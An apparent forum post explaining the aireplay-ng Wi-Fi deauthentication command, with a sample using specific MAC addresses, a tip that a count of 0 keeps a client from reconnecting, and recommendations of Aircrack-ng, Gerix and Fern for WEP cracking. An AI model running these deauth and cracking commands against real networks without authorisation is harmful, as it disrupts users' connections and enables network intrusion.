[Boodar]

aireplay-ng -0 (number of deauths to send) -a (MAC address of the access point) -c (MAC address of the client to deauthenticate) mon0 (or whatever your card is)

Sample: aireplay-ng -0 1 -a 00:24:7D:7E:40:80 -c 00:0F:B5:34:BE:30 ath0 . By the way 0 for deauths sends them constantly so the client will not be able to reconnect.I usually use 8 and mostly have no prob's.

Gerix , fern wifi cracker wep crack and of course Aircrack-ng suite (The Daddy) which all, or most of these crackers are based on.Personally id go the aircack-ng way as you'll totally understand the underlying concept of the actual attack rather than the lazy point and click method.Not that there's nothing wrong in using the other methods,I just personally like to know what is actually happening and different commands and options.